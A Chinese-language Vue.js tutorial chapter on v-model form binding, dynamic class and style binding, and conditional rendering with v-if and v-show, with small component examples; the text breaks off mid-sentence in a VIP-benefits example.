# Vue 基础 - 表单、样式绑定,条件、列表渲染、指令
TIP
从本节内容开始学习 Vue 的核心基础内容,主要有:
- 表单输入绑定
- class 类 与 Style 样式绑定
- v-if 条件渲染
- v-for 列表渲染
- 其他内置指令:v-text、v-html、v-once、v-cloak、v-pre 指令
本章节的内容同上一章节一样,非常的重要,针对所讲的每一个知识点都需要熟练掌握。
# 一、表单输入绑定
TIP
在实际开发中,我们经常需要收集表单中的数据,本小节的核心就是学习如何收集表单中数据。
我们会从以下几个点展开学习:
- 数据绑定的两种形式:双向数据绑定与单向数据绑定
- 手动实现
<input>
元素双向数据绑定 v-model
指令的基本实现原理v-model
的基本用法- 收集多行文本内容
- 收集单选按扭内容
- 收集复选框内容
- 收集下拉列表内容
v-model
指令修饰符
# 1、数据绑定的两种形式
TIP
数据绑定分为以下两种形式:
- 单向数据绑定
- 双向数据绑定
# 1.1、单向数据绑定(v-bind)
TIP
- 单向数据绑定是指:数据只能从 data 流向页面。
当我们更新
data
中数据时,页面中对应的数据也会跟着发生变化。但页面中数据发生变化时,data
中对应的数据并不会有任何变化
v-bind
指令属于单向数据绑定,用于给元素动态的绑定一个或多个属性
代码示例
<script>
export default {
data() {
return {
text: "用户名",
};
},
};
</script>
<template>
<!--
v-bindr指令(简写成 :)动态绑定元素的value属性,他属于单向绑定
所以当data中数据发生变化时,页面中数据会同步更新,
但页面中数据发生变化时,data中数据不会变。
-->
<input :value="text" />
</template>
# 1.2、双向数据绑定(v-model)
TIP
- 双向数据绑定是指:数据不仅能从 data 流向页面,还可以从页面流向 data
在处理表数据时,当
data
中的数据发生变化时,表单中的内容也要同步更新。当输入框中的内容发生变化时,data
中的数据也要跟着更新为最新的。
v-model
指令为双向数据绑定,常用于动态绑定表单元素的属性(如:value 属性)
代码示例
<script>
export default {
data() {
return {
text: "用户名",
};
},
};
</script>
<template>
<input v-model="text" />
</template>
最终渲染后效果如下图
- 当修改 data 中 text 属性的值时,页面中文本框中的内容也会发生变化
- 当修改输入框中的内容时,data 中 text 属性的值也会同步发生变化。
# 2、手动实现 input 元素双向数据绑定
TIP
如果没有v-model
指令,我们用前面学过的v-bind
指令与@input
事件也可以轻松实现<input>
元素的双向数据绑定。
实现原理:
v-bind
指令用于实现将data
中数据呈现到输入框中,当data
中数据发生变化时,文本框中内容同步变化@input
事件绑定,用来实现当输入框中的内容发生改变时,将输入框中的内容赋值给到data
中对应的属性
代码示例
使用
v-bind
指令与@input
事件,实现<input>
元素的双向数据绑定
<script>
export default {
data() {
return {
text: "用户名",
};
},
};
</script>
<template>
<!--
v-bind 指令动态绑定输入框的value属性,当text属性值变化时,文本框中的内容发生变化
@input事件用于在输入框内容改变时,把data中的text属性值更改变文本框中的值
以上两部实现了v-model的双向数据绑定效果
-->
<input :value="text" @input="(event) => (text = event.target.value)" />
</template>
以上代码,最终渲染后效果如下图:
总结:
如果没有v-model
指令,我们利用v-bind
与input
事件也可以实现<input>
元素的双向数据绑定。
而v-model
指令,帮我们简化了v-bind
指令与@input
事件结合的复杂操作,以后我们需要实现双向数据绑定时,只需要使用v-model
指令即可。
# 3、v-model 的内部实现原理
TIP
v-model
指令除了应用于刚讲的<input>
元素,还可以应用于其它各种不同类型的输入元素。它会根据所使用的元素自动使用对应的 DOM 属性和事件组合:
- 单行文本
<input>
与多行文本<textarea>
输入框,v-model
会绑定value
属性 并侦听input
事件 - 单选按扭
<input type="radio">
与复选框<input type="checkbox" >
,v-model
会绑定checked
属性并侦听change
事件; - 下拉列表
<select>
元素,v-model
会绑定value
属性 并侦听change
事件
如果你有兴趣,你可以参考上面 《v-bind
与input
事件实现<input>
元素双向数据绑定》,自已利用v-bind
指令和表单元素的相关事件,实现其它表单元素的双向数据绑定效果。
这里我们就不再一一讲解,我们的核心在于学习
v-model
的基本用法,内部原理作为了解即可。
# 4、v-model 的基本用法
TIP
v-model
可以用于各种不同类型的输入元素,实现双向数据绑定。如:
- 单行文本 (前面已学过)
- 多行文本
- 单选按扭
- 复选框
- 下拉列表
# 4.1、多行文本
TIP
多行文本框的绑定方式和原理与单行文本框<input>
的是一模一样。
写法如下:
<script>
export default {
data() {
return {
message: "多行文本框",
};
},
};
</script>
<template>
<textarea v-model="message"></textarea>
</template>
最终渲染效果如下:
# 4.2、单选按扭
TIP
想要收集单选按扭的选中的值,需要在单选按扭上添加value
属性,这样v-model
指令后的变量才能收集到选中按扭的值。
代码示例
<script>
export default {
data() {
return {
/*
一开选中粉色主题,则skinTheme的值为 pinkTheme
一开始选中蓝色主题,则skinTheme的值为 skyblueTheme
一开始没有任何一个被选中,则skinTheme的值为 ""
*/
skinTheme: "pinkTheme",
};
},
};
</script>
<template>
<h3>皮肤主题:{{ skinTheme }}</h3>
<input type="radio" v-model="skinTheme" value="pinkTheme" /> 粉色
<input type="radio" v-model="skinTheme" value="skyblueTheme" /> 蓝色
</template>
最终渲染效果如下:
也可动态绑定单选按扭 value 的属性值
<script>
export default {
data() {
return {
pink: "pinkTheme", // 粉色主题
skyblue: "skyblueTheme", // 蓝色主题
skinTheme: "pinkTheme",
};
},
};
</script>
<template>
<h3>皮肤主题:{{ skinTheme }}</h3>
<input type="radio" v-model="skinTheme" :value="pink" /> 粉色
<input type="radio" v-model="skinTheme" :value="skyblue" /> 蓝色
</template>
最终渲染效果和前面一样,如下:
# 4.3、单一复选框
TIP
- 针对只有一个复选框的情况,我们通常需要收集的是布尔值:
true
或false
。 比如:对于阅读的协议只需要勾选同意或不勾选。 - 针对单一复选框,我们要收集的是布尔值,则
v-modle
绑定的变量只能是布尔类型。
<script>
export default {
data() {
return {
checked: false, // false表示未选中 true表示选中
};
},
};
</script>
<template>
<div>{{ checked }}</div>
<input type="checkbox" name="sex" v-model="checked" /> 同意
</template>
- 如果我们希望复选框选中时与未选中时分别给出不同的值,并且值可以为非布尔值
- 则可以在复选框上添加
true-value
和false-value
两个属性,这两个属性是 Vue 特有,仅支持和v-model
配套使用。
<script>
export default {
data() {
return {
skin: "skyblueTheme", // 默认主题
};
},
};
</script>
<template>
<h3>皮肤主题:{{ skin }}</h3>
<!--选中皮肤主题为:pinkTheme 未选中采用默认主题 skyblueTheme-->
<input
type="checkbox"
v-model="skin"
true-value="pinkTheme"
false-value="skyblueTheme"
/>
粉色
</template>
- 也可以使用
v-bind
来动态绑定true-value
和false-value
属性的值
<script>
export default {
data() {
return {
skin: "skyblueTheme",
skyblue: "skyblueTheme", // 蓝色主题
pink: "pinkTheme",
};
},
};
</script>
<template>
<h3>皮肤主题:{{ skin }}</h3>
<input
type="checkbox"
v-model="skin"
:true-value="pink"
:false-value="skyblue"
/>
粉色
</template>
# 4.4、多个复选框
TIP
v-model
收集的是被选中的多个复选框的值时,默认将收集到的多个值放到一个数组中保存。所以v-model
绑定的变量需要是一个数组。默认没有一个被选中,则变量对应的是一个[]
空数组。- 收集时,要知道每个复选框的值,则需要在复选框上添加
vaule
属性。
<script>
export default {
data() {
return {
hobbies: [], // 默认没有被勾选的项
// hobbies: ["桃子"] // 默认桃子被勾选
};
},
};
</script>
<template>
<h3>你喜欢的水果有:{{ hobbies }}</h3>
<input type="checkbox" value="苹果" v-model="hobbies" />苹果
<input type="checkbox" value="香蕉" v-model="hobbies" />香蕉
<input type="checkbox" value="梨子" v-model="hobbies" />梨子
<input type="checkbox" value="桃子" v-model="hobbies" />桃子
<input type="checkbox" value="菠萝" v-model="hobbies" />菠萝
</template>
# 4.5、下拉列表:单个选择器
TIP
如果下拉列表为单个选择器,也就是每次只能选择下拉列表中的一项。
v-model
指令后变量为一个字符串类型,用来收集选中的<option>
元素的value
值,而非text
的值。- 不过
v-model
指令要写在<select>
元素上
<script>
export default {
data() {
return {
province: "湖南", // 表示最开始选中湖南,如果不写或写的值与<select>中的任何一项不匹配,则最终渲染效没有一个被选中
};
},
};
</script>
<template>
<h3>你所在的省份为:{{ province }}</h3>
<select v-model="province">
<option value="湖南">湖南省</option>
<option value="陕西">陕西省</option>
<option value="海南">海南省</option>
<option value="广东">广东省</option>
<option value="湖北">湖北省</option>
<option value="河南">河南省</option>
</select>
</template>
注意事项:
- 如果
v-model
表达式的初始值不匹配任何一个选择项,<select>
元素会渲染成一个“未选择”的状态。 - 在 iOS 上,这将导致用户无法选择第一项,因为 iOS 在这种情况下不会触发一个 change 事件。
因此,我们建议提供一个空值的禁用选项
代码示例
<script>
export default {
data() {
return {
province: "",
};
},
};
</script>
<template>
<h3>你所在的省份为:{{ province }}</h3>
<select v-model="province">
<option value="" disabled>----选择你所在省份----</option>
<option value="湖南">湖南省</option>
<option value="陕西">陕西省</option>
<option value="海南">海南省</option>
<option value="广东">广东省</option>
<option value="湖北">湖北省</option>
<option value="河南">河南省</option>
</select>
</template>
# 4.6、下拉列表:多选择器
TIP
如果下拉列表为多选择器,也就是每次可以选择多个列表项。
v-model
指令后变量的类型为一个数组,用来收集多个<option>
选项的value
值,而非text
的值。- 默认刚开始没有选中任何一项,则
v-model
指令后变量的值为一个[]
空数组
代码示例
<script>
export default {
data() {
return {
// fruit: ["苹果"] 默认选中苹果
fruit: [],
};
},
};
</script>
<template>
<h3>你喜欢的水果:{{ fruit }}</h3>
<select v-model="fruit" multiple>
<option value="苹果">苹果</option>
<option value="香蕉">香蕉</option>
<option value="草莓">草莓</option>
<option value="橘子">橘子</option>
<option value="樱桃">樱桃</option>
<option value="菠萝">菠萝</option>
</select>
</template>
# 5、v-model 指令修饰符
TIP
为了方便收集表单中的数据,Vue 为v-model
指令提供了以下 3 个修饰符。
修饰符 | 功能 |
---|---|
.lazy | 默认情况下,v-model 会在每次 input 事件后更新数据,添加了.lazy 修鉓符后会改为在每次 change 事件后更新数据 |
.number | 可以让用户输入的内容自动转换为数字,不加.number 修鉓符,内容默认为字符串 |
.trim | 自动去除用户输入内容两端的空格 画画 跳舞 唱歌 |
change 事件
- 在
select
元素上,change
事件会在选择某个选项时发生。 - 当用于
<input>
或<textarea>
元素时,change
事件会在元素失去焦点时发生。
代码演示
<script>
export default {
data() {
return {
username: "",
age: 0,
hobbies: "",
};
},
};
</script>
<template>
<!--当input元素失去焦点后,更新msg变量的值-->
<div>姓 名:<input v-model.lazy="username" /> {{ username }}</div>
<!--最终age的值为数字类型-->
<div>年 龄:<input v-model.number="age" /> {{ typeof age }}</div>
<!--如果输入的内容前后有空格,会自动去除-->
<div>
爱 好:<input v-model.trim="hobbies" /> {{ hobbies.length }}--{{ hobbies }}
</div>
</template>
# 6、总结:表单输入绑定
TIP
本小节重点需要掌握以下内容
- 理解
v-bind
单向数据绑定与v-model
双向数据绑定 - 了解
v-model
的底层实现原理 - 利用
v-model
指令收集单行文本、多行文本、单选按扭、复选框、下拉列表中的数据 - 掌握
v-model
指令修饰符.lazy
、.number
、.trim
的作用与用法
<script>
export default {
data() {
return {
userInfo: {
username: "",
sex: "",
age: 0,
hobbies: [],
province: "",
agreement: false,
},
};
},
methods: {
showInfo() {
console.log(this.userInfo);
},
},
};
</script>
<template>
<form action="" @submit.prevent="showInfo">
<!--单行文本-->
<div>姓名:<input type="text" v-model.trim.lazy="userInfo.username" /></div>
<!--单选按扭--->
<div>
性别: <input type="radio" value="男" v-model="userInfo.sex" />男
<input type="radio" value="女" v-model="userInfo.sex" />女
</div>
<!--单行文本-->
<div>
年龄:
<input type="number" v-model.number="userInfo.age" />
</div>
<!--复选框-->
<div>
爱好:
<input type="checkbox" value="阅读" v-model="userInfo.hobbies" />阅读
<input type="checkbox" value="唱歌" v-model="userInfo.hobbies" />唱歌
<input type="checkbox" value="跳舞" v-model="userInfo.hobbies" />跳舞
<input type="checkbox" value="跑步" v-model="userInfo.hobbies" />跑步
</div>
<!--下拉列表-->
<div>
选择所在的省份:
<select v-model="userInfo.province">
<option value="" disabled>----选择所在省份---</option>
<option value="湖南">湖南省</option>
<option value="湖北">湖北省</option>
<option value="陕西">陕西省</option>
</select>
</div>
<!--单一复选框-->
<div>
<input type="checkbox" v-model="userInfo.agreement" />
同意并接受《用户协议》
</div>
<button type="submit">提交</button>
</form>
</template>
- 如何将表单元素绑定的值为动态数据
<input type="checkbox" v-model="agreement" :true-value="xx" :false-value="yy" />
同意
<input type="radio" v-model="skin" :value="pink" /> 粉色
<input type="radio" v-model="skin" :value="skyblue" /> 粉色
<select v-model="data">
<option :value="xxx"></option>
</select>
# 二、class 类 与 style 样式绑定
TIP
在实际的项目开发中,对于元素的class
属性与style
属性的操作是非常常见的需求。因为class
与style
都属于元素的属性,所以我们同样是利用v-bind
来将他们与动态的字符串绑定。
因为class
与style
属性在操作时相对较复杂,所以v-bind
指令在动态绑定class
与style
属性值时,其表达式的值除了 “字符串“ 外,还可以是 ”对象或数组”。
# 1、动态绑定 class 类
TIP
我们可以使用v-bind:class
(简写:class
)为元素动态绑定class
的值
:class
绑定的值可以是:
- 字符串
- 对象
- 数组
三者中的一种
# 1.1、绑定字符串
TIP
我们可以给v-bind:class
(缩写:class
)传递一个字符串类型的变量,为元素动态添加class
属性值
<script>
export default {
data() {
return {
className: "bg-red",
};
},
};
</script>
<template>
<!--最终渲染后元素的 class='bg-red'-->
<div :class="className">box</div>
</template>
以下写法,
vue
最终自动:class
与class
中的值合并在一起
<div :class="className" class="basic"></div>
<!--以上写法,最终渲染后结果如下-->
<div class="bg-red baisc"></div>
代码示例
<script>
export default {
data() {
return {
className: "bg-red",
};
},
methods: {
changeColor() {
this.className = "bg-blue";
},
},
};
</script>
<template>
<div :class="className" class="basic" @click="changeColor">box</div>
</template>
<style>
.basic {
width: 100px;
height: 100px;
border: 2px solid #000;
}
.bg-red {
background-color: red;
}
.bg-blue {
background-color: skyblue;
}
</style>
注:
以上代码表示,初始渲染时,div
元素身上的class="basic bg-red"
,当点击div
时,元素的class="basic bg-red"
。
具体效果如下:
# 1.2、绑定对象
TIP
如果:class
绑定的值为一个对象
- 对象属性的值为
true
时,则对象的属性名会渲染成元素class
属性中的值 - 如果对象属性的值为
false
,则该属性名不会出现在class
属性中。
<div class="basic" :class="{ bgColor: true, radius: false }">box</div>
<!--以上写法,最终渲染结果如下-->
<div class="basic bgColor">box</div>
代码演示
<template>
<div class="basic" :class="{ bgColor: true, radius: false }">box</div>
</template>
<style>
.basic {
width: 100px;
height: 100px;
border: 2px solid #000;
}
.bgColor {
background-color: red;
}
.radius {
border-radius: 20px;
}
</style>
以上代码编译后,最终显示效果如下:
我们将对象属性后面值改为变量,这样就可以通过 JS 来动态操作是否添加对应的class
<script>
export default {
data() {
return {
isColor: true,
isRadius: false,
};
},
methods: {
changeClass() {
this.isRadius = true;
},
},
};
</script>
<template>
<div
class="basic"
:class="{ bgColor: isColor, radius: isRadius }"
@click="changeClass"
>
box
</div>
</template>
<style>
.basic {
width: 100px;
height: 100px;
border: 2px solid #000;
}
.bgColor {
background-color: red;
}
.radius {
border-radius: 20px;
}
</style>
注:
以上代码初始渲染后,div
元素的class="basic bgColor"
,当点击div
元素后class="basic bgColor isRadius"
具体效果如下:
我们也可以将:class
后面字面量形式的对象,改为一个变量,这个变量的值是一个对象
<script>
export default {
data() {
return {
className: {
bgColor: true,
radius: false,
},
};
},
methods: {
changeClass() {
this.className.radius = true;
},
},
};
</script>
<template>
<div class="basic" :class="className" @click="changeClass">box</div>
</template>
<style>
.basic {
width: 100px;
height: 100px;
border: 2px solid #000;
}
.bgColor {
background-color: red;
}
.radius {
border-radius: 20px;
}
</style>
以上代码渲染出来的结果,与上面动态绑定的效果是一样的。
# 1.3、绑定数组
TIP
如果:class
绑定的值为一个数组,数组中的每个成员都是一个字符串,那数组中的每个成员都会渲染成class
属性的值
<div class="basic" :class='[" bgColor", "radius"]'></div>
<!--以上写法,最终渲染后效果如下-->
<div class="basic bgColor radius"></div>
- 如果想通过 JS 来动态操作 class 的属性值,我们可以将数组中的每个成员,改成变量,如下:
<script>
export default {
data() {
return {
isBgColor: "bgColor",
isRadius: "radius",
};
},
};
</script>
<template>
<div class="basic" :class="[isBgColor, isRadius]"></div>
</template>
- 在实际开发中,上面这种方式还不是最优的,我们还可以直接绑定一个数组类型的变量,这样我们就可以通过 JS 操作数组中的成员来实现对 class 的新增、删除、更新。
<script>
export default {
data() {
return {
arrClass: ["bgColor", "radius"],
};
},
methods: {
removeClass() {
// 删除数组中最后一个元素
this.arrClass.pop();
},
},
};
</script>
<template>
<div class="basic" :class="arrClass" @click="removeClass"></div>
</template>
- 也可以在数组中通过三元表达式有条件的渲染某个 class
<!--
以下写法表示:
如果 isRadius为true,则向class中添加radius和bgColor,否则只添加bgColor
-->
<div class="basic" :class="[isRadius ? 'radius' : '', 'bgColor']"></div>
- 如果有多个依赖条件的
class
,则代码显的有些冗长,因此也可以在数组中嵌套对象
<div class="basic" :class="[{ radius: isRadius }, 'bgColor']"></div>
# 1.4、总结
TIP
v-bind
指令动态绑定 class 属性的值,其值可以:字符串、对象、数组中的任意一种
<!-- 值为字符串 -->
<div :class="className">box</div>
<!--值为js对象 对象属性的值为true,则属性名会被添加到class中-->
<div :class="{ bgColor: true, radius: false }">box</div>
<!--bool变量为布尔类型,true表示class='bgColor' false表示 class='' -->
<div :class="{bgColor:bool}"></div>
<!--classObj变量的值是一个对象-->
<div :class="classObj"></div>
<!--值为数组-->
<!--数组中成员都为字符串,则数组中每个成员都会成为class的值-->
<div class="basic" :class='[" bgColor", "radius"]'></div>
<!-- isBgColor和 isRadius为变量-->
<div class="basic" :class="[isBgColor, isRadius]"></div>
<!--数组可以通过三元表达式有条件的渲染class-->
<div class="basic" :class="[isRadius ? 'radius' : '', 'bgColor']"></div>
<!--数组中的成员可以是一个对象-->
<div class="basic" :class="[{ radius: isRadius }, 'bgColor']"></div>
# 2、动态绑定 style 样式
TIP
我们可以通过v-bind:style
(简写:style
)来动态为元素添加style
样式属性。
:style
绑定的值可以是:
- 样式字符串
- 样式对象
- 样式数组(数组中每个成员是一个样式类型的对象)
# 2.1、绑定样式字符串
TIP
:style
后的值为一个标准的 CSS 样式字符串
<script>
export default {
data() {
return {
styleCss: "color:red;font-size:30px",
};
},
};
</script>
<template>
<div :style="styleCss">style样式绑定</div>
</template>
编译后结果如下:
<div style="color: red; font-size: 30px;">style样式绑定</div>
# 2.2、绑定样式对象
TIP
:style
后绑定的值为一个样式对象,即:对象中属性为 CSS 属性名,属性名推荐camelCase
写法,但也支持kebab-cased
写法。
<script>
export default {
data() {
return {
activeColor: "red",
fontSize: "30px",
};
},
};
</script>
<template>
<div :style="{ color: activeColor, 'font-size': fontSize }">
style样式绑定
</div>
<!--以下写法为官方推荐写法,属性名采用 camelCase 写法-->
<div :style="{ color: activeColor, fontSize: fontSize }">style样式绑定</div>
</template>
编译后的结果如下:
<div style="color: red; font-size: 30px;">style样式绑定</div>
:style
后直接绑定一个变量,变量的值是一个样式对象。(此方式为最优绑定方式)
<script>
export default {
data() {
return {
styleObject: {
color: "red",
fontSize: "30px",
},
};
},
};
</script>
<template>
<div :style="styleObject">style样式绑定</div>
</template>
编译后结果同上。
# 2.3、绑定样式数组
TIP
:style
后绑定的值为一个数组,数组中的成员可以是一个样式对象,也可以是一个样式字符串,最终这些样式都会合并渲染到同一元素上。
<script>
export default {
data() {
return {
// 基础样式
baseStyles: {
width: "100px",
height: "100px",
backgroundColor: "skyblue",
},
// 激活后样式
activeStyles: {
fontSize: "20px",
color: "red",
},
};
},
};
</script>
<template>
<div :style="[baseStyles, activeStyles, 'border-radius:50%']">
style样式绑定
</div>
</template>
编译后的结果如下:
<div
style="width: 100px; height: 100px; background-color: skyblue; font-size: 30px; color: red;border-radius:50%"
>
style样式绑定
</div>
# 2.4、总结
TIP
v-bind
指令动态绑定 style 属性的值,其值可以是:样式字符串、样式对象、样式数组
<!--样式字符串-->
<div :style="styleCss">style样式绑定</div>
<!--样式对象-->
<div :style="{ color: activeColor, 'font-size': fontSize }">style样式绑定</div>
<!--样式数组 baseStyles与activeStyles为样式对象或样式字符串-->
<div :style="[baseStyles, activeStyles]">style样式绑定</div>
# 3、:class 与 :style 与 计算属性
TIP
如果:class
或:style
后绑定的值需要经过相对复杂的逻辑运算才能得到,可以利用计算属性来实现。
:class
或:style
后面直接绑定计算属性,计算属性的值为一个合格的 ”字符串 或 对象或数组"
<script>
export default {
data() {
return {
skinTheme: "skyblue",
};
},
computed: {
// 计算属性
skinStyle() {
if (this.skinTheme === "skyblue") {
return ["skyblue-bg", "border-radius"];
} else if (this.skinTheme === "yellow") {
return ["yellow-bg", "border10"];
} else {
return ["pink-bg"];
}
},
},
};
</script>
<template>
<select v-model="skinTheme">
<option>skyblue</option>
<option>yellow</option>
<option>pink</option>
</select>
<div :class="skinStyle" class="basic"></div>
</template>
<style scoped>
.basic {
width: 100px;
height: 100px;
}
.skyblue-bg {
background-color: skyblue;
}
.yellow-bg {
background-color: khaki;
}
.pink-bg {
background-color: pink;
}
.border-radius {
border-radius: 50%;
}
.border10 {
border: 10px solid red;
}
</style>
以上代码,最终效果如下:
# 4、案例:开关效果
<script>
export default {
data() {
return {
isActive: false,
};
},
};
</script>
<template>
<div class="switch" :class="{ active: isActive }">
<span @click="isActive = !isActive"></span>
</div>
</template>
<style scoped>
.switch {
width: 60px;
height: 30px;
border: 2px solid #ddd;
border-radius: 30px;
cursor: pointer;
}
.switch span {
width: 24px;
height: 24px;
display: block;
border-radius: 50%;
background-color: #ddd;
margin: 3px;
transition: all ease 1s;
}
.switch.active {
border: 2px solid skyblue;
}
.switch.active span {
background-color: skyblue;
transform: translateX(30px);
}
</style>
# 5、案例:项目进度条
TIP
假设一个项目分四个阶段完成,我们会对项目每个阶段的完成进度进行评估。
以下为项目各阶段的进度评估数据
state: {
/*
当前项目分四个阶段,0-4表示每个阶段的完成情况
0-此阶段还没开始 进度条显示灰色
1-提前完成 进度条显示 skyblue 天蓝色
2-正常完成 进度条显示 green 绿色
3-超时 进度条显示 orange 橘色
4-严重超时 进度条显示 red 红色
*/
I_state: 1,
II_state: 3,
III_state: 2,
IIII_state: 0
}
我们需要根据每个阶段的完成进度,将进度条渲染成不同的颜色
完整版代码
<script>
export default {
data() {
return {
state: {
I_state: 1,
II_state: 3,
III_state: 2,
IIII_state: 4,
},
// 数组
arr: ["", "skyblue", "green", "orange", "red"],
// map
map: new Map([
[0, ""],
[1, "skyblue"],
[2, "green"],
[3, "orange"],
[4, "red"],
]),
};
},
};
</script>
<template>
<div class="wrap">
<h3>项目每个阶段的完成情况</h3>
<div class="progress-bar">
<span :class="arr[state.I_state]"></span>
<span :class="arr[state.II_state]"></span>
<span :class="arr[state.III_state]"></span>
<span :class="arr[state.IIII_state]"></span>
</div>
</div>
<div class="wrap">
<h3>项目每个阶段的完成情况</h3>
<div class="progress-bar">
<span :class="map.get(state.I_state)"></span>
<span :class="map.get(state.II_state)"></span>
<span :class="map.get(state.III_state)"></span>
<span :class="map.get(state.IIII_state)"></span>
</div>
</div>
</template>
<style>
.wrap {
width: 80%;
margin: 50px auto;
}
.progress-bar {
height: 10px;
display: flex;
}
.progress-bar span {
height: inherit;
flex: 1;
margin-right: 5px;
background-color: #ddd;
}
.progress-bar span.skyblue {
background-color: skyblue;
}
.progress-bar span.green {
background-color: green;
}
.progress-bar span.orange {
background-color: orange;
}
.progress-bar span.red {
background-color: red;
}
</style>
# 三、条件渲染
TIP
条件渲染是指根据条件来渲染一块内容,条件渲染指令有:v-if
、v-else
、v-else-if
、v-show
我们会从以下几个方面来展开学习
- v-if 指令
- v-else 指令
- v-else-if 指令
- 注意事项
- v-if 与
<template>
- v-show 指令
- 对比 v-if 与 v-show
- v-if 案例:根据用户等级显示相关权益
- v-show 案例:选项卡特效
# 1、v-if 指令
TIP
v-if
指令用于条件性地渲染一块内容。这块内容只会在指令的表达式返回真值时才被渲染。
<div v-if="true">此处内容显示</div>
<div v-if="false">此处将不会渲染在页面中</div>
代码演示
<script>
export default {
data() {
return {
isShow: true,
};
},
};
</script>
<template>
<div class="box1" v-if="isShow">此处内容显示</div>
<div class="box2" v-if="!isShow">此处将不会渲染在页面中</div>
</template>
以上代码最终渲染后效果如下:
# 2、v-else
TIP
v-else
指令需要和v-if
指令配合一起使用,其用法和功能与 JS 中的if ...else
一样
<!--v-if的值为false,则渲染v-else指令绑定的元素-->
<div class="box1" v-if="false">此内容不会渲染在页面中</div>
<div class="box2" v-else>此处内容显示</div>
<!--v-if的值为true,则渲染v-if指令绑定的元素,v-else指令绑定的元素不会被渲染-->
<div class="box1" v-if="true">此内容显示</div>
<div class="box2" v-else>些内容不会渲染在页面中</div>
代码演示
<script>
export default {
data() {
return {
isShow: true,
};
},
};
</script>
<template>
<button @click="isShow = !isShow">切换显示</button>
<div class="box1" v-if="isShow">box1内容</div>
<div class="box2" v-else>box2中内容</div>
</template>
以上代码最终渲染后效果如下图:
注:
一开始只显示了 box1,点击按扭后,将变量isShow
的值修改成false
,则将 box1 从页面,显示 box2
# 3、v-else-if
TIP
v-else-if
需要与v-if
指令配合,其的用法和功能与 JS 中的if ...else if
一样,所以v-else-if
指令可以连续多次重复使用。
v-if
、v-else-if
、v-else
可以组合一起使用,与JS
中的if..else if... else
用法和功能一样。
<script>
export default {
data() {
return {
age: 40,
};
},
};
</script>
<template>
<div class="box1" v-if="age >= 60">老年</div>
<div class="box2" v-else-if="age >= 30">中年</div>
<div class="box3" v-else-if="age >= 18">青年</div>
<div class="box3" v-else-if="age >= 12">少年</div>
<div class="box4" v-else>儿童</div>
</template>
以上代表最终渲染后效果如下:
注:
如果我们把age
的值改为 28,则最终显示青年。如果把 age 的值改为 60,则最终显示老年
# 5、注意事项
TIP
v-if
、v-else-if
、v-else
这些指令之间必需紧跟的,中间不能有其它元素间隔着。
如下写法将会抛出错误,代码无法正常运行
<!--因为`.box`元素打断了`v-else-if`指令的连续性-->
<div class="box1" v-if="age >= 60">老年</div>
<div class="box2" v-else-if="age >= 30">中年</div>
<div class="box">这种写法将会报错,因为他打断了if指令的连续性</div>
<div class="box3" v-else-if="age >= 18">青年</div>
<div class="box3" v-else-if="age >= 12">少年</div>
<div class="box4" v-else>儿童</div>
# 6、v-if 与 <template>
TIP
如果我们想在v-if
指令为真时,显示一组元素,而不是单个元素,那要如何实现呢 ?
- 方案一:显然代码写起来不够优雅
<h3 v-if="person.age > 30">{{ person.username }}相关信息如下</h3>
<div v-if="person.age > 30">年龄:{{ person.age }}</div>
<div v-if="person.age > 30">年龄:{{ person.sex }}</div>
- 方案二:这种方案相比第一种要好些,但是让代码的层级变的更深了
<div class="box1" v-if="person.age > 30">
<h3>{{ person.username }}相关信息如下</h3>
<div>年龄:{{ person.age }}</div>
<div>年龄:{{ person.sex }}</div>
</div>
- 方案三:
v-if
指令与<template>
标签配合,最终<template>
不会被渲染到页面中。
<!--最佳方案-->
<template class="box1" v-if="person.age > 30">
<h3>{{ person.username }}相关信息如下</h3>
<div>年龄:{{ person.age }}</div>
<div>年龄:{{ person.sex }}</div>
</template>
代码演示
<script>
export default {
data() {
return {
person: {
username: "清心",
age: 35,
sex: "女",
},
};
},
};
</script>
<template>
<template class="box1" v-if="person.age > 30">
<h3>{{ person.username }}相关信息如下</h3>
<div>年龄:{{ person.age }}</div>
<div>年龄:{{ person.sex }}</div>
</template>
</template>
最终渲染后效果如下:
# 7、v-show
TIP
v-show
指令用来按条件显示一个元素,其用法与v-if
一样,但他与v-if
有以下不同:
v-if
指令
v-if
指令是将元素从 DOM 中移除来实现显示与隐藏v-if
指令可以在<template>
元素上使用v-if
指令可以与v-else
、v-else-if
指令搭配使用
v-show
指令
v-show
会在 DOM 渲染中保留该元素;v-show
实现显示与隐藏,本质是通过操作元素的display
属性来实现。v-show
不支持在<template>
元素上使用v-show
指令只能单独用,不能v-else
等指令搭配使用
<div v-show="true">该元素最终显示在页面中</div>
代码演示
<script>
export default {
data() {
return {
isShow: true,
};
},
};
</script>
<template>
<div v-show="isShow">v-show 内容显示</div>
<div v-show="!isShow">v-show 内容隐藏</div>
</template>
以上代码最终渲染后效果如下:
# 8、对比 v-if 与 v-show
TIP
v-if
与v-show
都可以用来控制元素的显示与隐藏,那实际开发中,我们应该如何选择呢?
我们通过对比v-if
与v-show
在性能上的细微差别来确定,我们应该在什么场景下使用他们更合理
v-if 的特点
v-if
是“真实的”按条件渲染,因为它确保了在切换时,条件区块内的事件监听器和子组件都会被销毁与重建,所以每次切换时的开销会很大。v-if
也是惰性的,如果在初次渲染时条件值为 false,则不会做任何事,所以初次渲染时速度会很快。
v-show 的特点
- 首次渲染时开销会很大,因为
v-show
元素无论初始条件如何,始终会被渲染,只是根据CSS
的display
属性来决定显示与隐藏。 - 后期切换时,性能消耗较小,因为切换只是在更改 css 的 display 属性值。
总结
v-if
初次渲染开销少,而后期切换开销会更高;v-show
有更高的初始渲染开销,后期切换开销少- 如果后期需要频繁切换,则使用
v-show
较好;如果在运行时绑定条件很少改变,则v-if
会更合适。
注意
如果我们追求网站首屏的加载速度,即使后期切换开销高,在渲染首屏内容时,也要考虑使用v-if
# 9、根据用户等级显示相关权益
TIP
根据用户的类型来渲染对应的内容,如果用户为 Vip,则显示会员权益,如果不是,则显示提示内容 。
以下内容渲染后,后期不会频繁切换,则使用
v-if
来渲染更合适。
<script>
export default {
data() {
return {
userInfo: {
username: "清心",
vipType: 1, // 1是Vip,0是普通用户
},
};
},
};
</script>
<template>
<h3>
用户名:{{ userInfo.username }}
用户类型:
<span v-if="userInfo.vipType === 1">VIP</span>
<span v-else>普通用户</span>
</h3>
<h4>----------会员权益----------</h4>
<!-- 利用v-if进行条件判断 -->
<template v-if="userInfo.vipType === 1">
<div>1、购物享积分1元1分</div>
<div>2、积分当钱花</div>
<div>3、积分兑换好礼</div>
</template>
<div v-else>你目前还不是会员,不享有任何权益</div>
</template>
当
userInfo.isVip === 1
时,最终渲染效果如下:
当
userInfo.isVip === 0
